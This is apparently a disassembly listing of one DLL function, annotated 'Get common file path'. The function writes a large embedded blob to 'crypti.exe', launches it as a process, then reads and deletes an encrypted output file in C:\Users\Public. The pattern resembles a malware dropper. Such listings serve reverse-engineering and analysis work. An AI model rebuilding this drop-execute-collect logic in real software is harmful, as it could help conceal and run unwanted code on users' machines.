Function at 0x180060e70
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x4f0
mov rax, qword [0x18021a280]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
mov rdi, rcx
mov qword [rsp + 0x98], rcx
xor ebx, ebx
lea rax, str.crypti.exe
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_21
lea rax, [0x180221750]
cmp qword [0x180221768], 7
cmova rax, qword [0x180221750]
mov qword [rsp + 0x40], rax
mov rax, qword [0x180221760]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x80], xmm0
movabs r15, 0xc000000000000000
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x130], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x160]
call fcn.18000a600
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x2d0]
call fcn.1800b9d20
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x2d0]
call fcn.180028b50
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], r12
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
cmp qword [rsp + 0x358], rbx
jne 0x180061126
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, Ordinal_26
lea rdx, str.____File_can_not_writed
lea rcx, [rsp + 0x50]
call fcn.180005270
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.1800624d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x18006103b
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061036
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800622c9
call fcn.18008a530
movdqa xmm0, xmmword [0x1801ff560]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2d0], r12
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
lea rcx, [rsp + 0x2d8]
call fcn.180028200
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x378], rax
lea rcx, [rsp + 0x378]
call fcn.180088080
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x18006111e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061119
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800622cf
call fcn.18008a530
mov rax, rdi
jmp 0x18006229c
mov r8d, 0x9d000
lea rdx, [0x18015dbb0]
lea rcx, [rsp + 0x2d0]
call fcn.1800283a0
lea rcx, [rsp + 0x2d8]
call fcn.180028a50
mov esi, 6
test rax, rax
jne 0x180061198
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov eax, esi
mov r14d, 2
cmp qword [rsp + rcx + 0x318], 0
cmovne eax, r14d
or eax, dword [rsp + rcx + 0x2e0]
and eax, 0x17
mov dword [rsp + rcx + 0x2e0], eax
mov edx, dword [rsp + rcx + 0x2e4]
and edx, eax
jne 0x1800622d5
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2d0], r12
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
lea rcx, [rsp + 0x2d8]
call fcn.180028200
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x378], rax
lea rcx, [rsp + 0x378]
call fcn.180088080
nop
lea rax, str.start______
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_21
lea rax, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rax, qword [rsp + 0x160]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x130], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.18000a600
nop
mov edx, 0x2710
lea rcx, [rsp + 0x50]
call fcn.18004c1f0
mov byte [rsp + 0x70], al
mov byte [rsp + 0x71], al
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180061321
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006130b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062332
call fcn.18008a530
lea rcx, [rsp + 0x30]
call fcn.180049df0
mov rax, qword [rsp + 0x30]
jmp 0x180061335
lea rcx, [rsp + 0x30]
call fcn.180049df0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], rax
movabs r14, 0x7fffffffc46535ff
mov r12d, 0xff
cmp rax, r14
je 0x18006136e
mov ecx, 1
cmovl ecx, r12d
test cl, cl
jns 0x18006136e
add rax, 0x3b9aca00
mov qword [rsp + 0x30], rax
movabs r15, 0x7fffffffffffffff
jmp 0x18006137d
movabs r15, 0x7fffffffffffffff
mov qword [rsp + 0x30], r15
lea rcx, [rsp + 0x30]
call fcn.18004bb10
nop
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x50]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.180024ac0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x40], ecx
lea rax, [0x18021b290]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x130], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x180061455
cmp eax, 1
setne r13b
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180061467
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061462
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062338
jmp 0x180061462
xor r13b, r13b
test ecx, ecx
jne 0x18006233e
jmp 0x180061416
call fcn.18008a530
test r13b, r13b
je 0x180061517
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x50]
call fcn.180008f40
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
call fcn.1800891f4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x180062358
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180061517
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061511
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006236e
call fcn.18008a530
nop
movzx r13d, byte [rsp + 0x70]
jmp 0x18006154e
lea rcx, [rsp + 0x30]
call fcn.180049df0
mov rax, qword [rsp + 0x30]
cmp rax, r14
je 0x18006157c
mov ecx, 1
cmovl ecx, r12d
test cl, cl
jns 0x18006157c
add rax, 0x3b9aca00
mov qword [rsp + 0x30], rax
jmp 0x180061581
mov qword [rsp + 0x30], r15
lea rcx, [rsp + 0x30]
call fcn.18004bb10
test r13b, r13b
jne 0x1800616bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Process_can_not_created:_
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], Ordinal_37
mov dword [rsp + 0x48], eax
movabs rax, 0x2000000000000000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x130], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x50]
call fcn.1800192b0
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.1800624d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x18006165a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061655
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062374
call fcn.18008a530
movdqa xmm0, xmmword [0x1801ff560]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x1800616b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800616b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006237a
call fcn.18008a530
mov rax, rdi
jmp 0x18006229c
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x2d0]
call fcn.1800b9d20
mov edx, 0x104
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xorps xmm0, xmm0
xorps xmm1, xmm1
mov r8d, 3
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
cmp eax, r8d
jb 0x180061715
lea rdx, [rsp + 0x2d0]
call fcn.180008f40
jmp 0x180061722
lea rdx, [0x1801fdc38]
call fcn.180008f40
nop
lea rax, str.UsersPublic_tmp.enc
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], reloc.LIBPQ.dll_Ordinal_22
lea rax, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rax, qword [rsp + 0x50]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x138], rax
movups xmm0, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x80], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x130], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x138], rax
movaps xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x130], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x140]
call fcn.18000a600
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x18006180e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061809
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062380
call fcn.18008a530
movdqa xmm0, xmmword [0x1801ff550]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], bx
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x90], rbx
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x78]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.180024ac0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x130], ecx
lea rax, [0x18021b290]
mov qword [rsp + 0x138], rax
movaps xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x130], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x180061900
cmp eax, 1
sete r14b
mov rdx, qword [rsp + 0x90]
cmp rdx, 7
jbe 0x180061912
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006190d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062386
jmp 0x18006190d
mov r14b, 1
test ecx, ecx
jne 0x18006238c
jmp 0x1800618be
call fcn.18008a530
test r14b, r14b
je 0x180061a5f
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x88], xmm1
mov r8d, Ordinal_33
lea rdx, str.____Encrypted_file_not_exist
lea rcx, [rsp + 0x78]
call fcn.180005270
nop
lea r8, [rsp + 0x78]
mov rdx, rdi
call fcn.1800624d0
nop
mov rdx, qword [rsp + 0x90]
cmp rdx, 0xf
jbe 0x180061995
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061990
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800623a6
call fcn.18008a530
movdqa xmm0, xmmword [0x1801ff560]
movdqu xmmword [rsp + 0x88], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x1800619f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800619ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800623ac
call fcn.18008a530
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180061a57
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061a52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800623b2
call fcn.18008a530
mov rax, rdi
jmp 0x18006229c
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x1c0]
call fcn.1800b9d20
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
lea rcx, [rsp + 0x1c0]
call fcn.1800487e0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
cmp qword [rsp + 0x250], 0
jne 0x180061ca1
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, Ordinal_34
lea rdx, str.____Encrypted_file_can_not_open
lea rcx, [rsp + 0x50]
call fcn.180005270
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.1800624d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180061b52
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061b4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800623b8
call fcn.18008a530
movdqa xmm0, xmmword [0x1801ff560]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.180028200
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.180088080
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180061c35
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061c30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800623be
call fcn.18008a530
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180061c99
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061c94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800623c4
call fcn.18008a530
mov rax, rdi
jmp 0x18006229c
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x1c0]
call fcn.180047840
mov r14, qword [rax + 8]
add r14, qword [rax]
test r14, r14
jg 0x180061f1c
lea rcx, [rsp + 0x1d0]
call fcn.180028a50
test rax, rax
jne 0x180061d12
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
cmp qword [rsp + rcx + 0x208], 0
mov eax, 2
cmovne esi, eax
or esi, dword [rsp + rcx + 0x1d0]
and esi, 0x17
mov dword [rsp + rcx + 0x1d0], esi
mov eax, dword [rsp + rcx + 0x1d4]
and eax, esi
jne 0x1800623ca
lea rax, str.____Encrypted_file_size_is_
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_37
mov qword [rsp + 0x138], r14
movabs rax, 0x3000000000000000
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x130]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1800192b0
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.1800624d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180061dcd
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061dc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062424
call fcn.18008a530
movdqa xmm0, xmmword [0x1801ff560]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.180028200
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.180088080
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180061eb0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061eab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006242a
call fcn.18008a530
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180061f14
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061f0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062430
call fcn.18008a530
mov rax, rdi
jmp 0x18006229c
lea rcx, [rsp + 0x1c0]
call fcn.180047920
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x180], xmm1
mov qword [rsp + 0x190], rbx
mov rdx, r14
lea rcx, [rsp + 0x180]
call fcn.180049b30
mov r8, r14
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x1c0]
call fcn.180047b10
lea rcx, [rsp + 0x1d0]
call fcn.180028a50
test rax, rax
jne 0x180061fb4
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
cmp qword [rsp + rcx + 0x208], 0
mov eax, 2
cmovne esi, eax
or esi, dword [rsp + rcx + 0x1d0]
and esi, 0x17
mov dword [rsp + rcx + 0x1d0], esi
mov eax, dword [rsp + rcx + 0x1d4]
and eax, esi
jne 0x180062436
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x50]
call fcn.180008f40
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
call fcn.1800891f4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x180062491
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x18006205a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180062055
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800624a7
call fcn.18008a530
mov r8, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x198]
call fcn.180048f90
nop
lea rdx, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0xf
cmova rdx, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a8]
add r8, rdx
mov rcx, rdi
call fcn.180065fb0
nop
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0xf
jbe 0x1800620e9
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800620e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800624ad
call fcn.18008a530
mov qword [rsp + 0x1a8], rbx
mov qword [rsp + 0x1b0], reloc.LIBPQ.dll_Ordinal_15
mov byte [rsp + 0x198], 0
mov rcx, qword [rsp + 0x180]
test rcx, rcx
je 0x18006215b
mov rdx, qword [rsp + 0x190]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180062142
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800624b3
call fcn.18008a530
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x190], rbx
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.180028200
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.180088080
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x18006222b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180062226
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800624b9
call fcn.18008a530
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x18006228f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006228a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800624bf
call fcn.18008a530
mov rax, rdi
jmp 0x18006229c
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.18008a510
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.1800997f4
nop
call fcn.1800997f4
nop
test dl, 4
je 0x1800622e3
lea rbx, [0x1800f3668]
jmp 0x1800622f8
test r14b, dl
lea rbx, [0x1800f3680]
lea rax, [0x1800f3698]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x130]
call fcn.180002e00
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xb0]
call fcn.1800037d0
lea rdx, [0x180217450]
lea rcx, [rsp + 0xb0]
call fcn.18008cbf0
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x130]
lea rcx, str.exists
call fcn.180024030
nop
shr rdx, 0x20
lea r8, [rsp + 0x50]
lea rcx, str.remove
call fcn.18002bb10
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
int3
call fcn.1800997f4
nop
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x130]
lea rcx, str.exists
call fcn.180024030
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
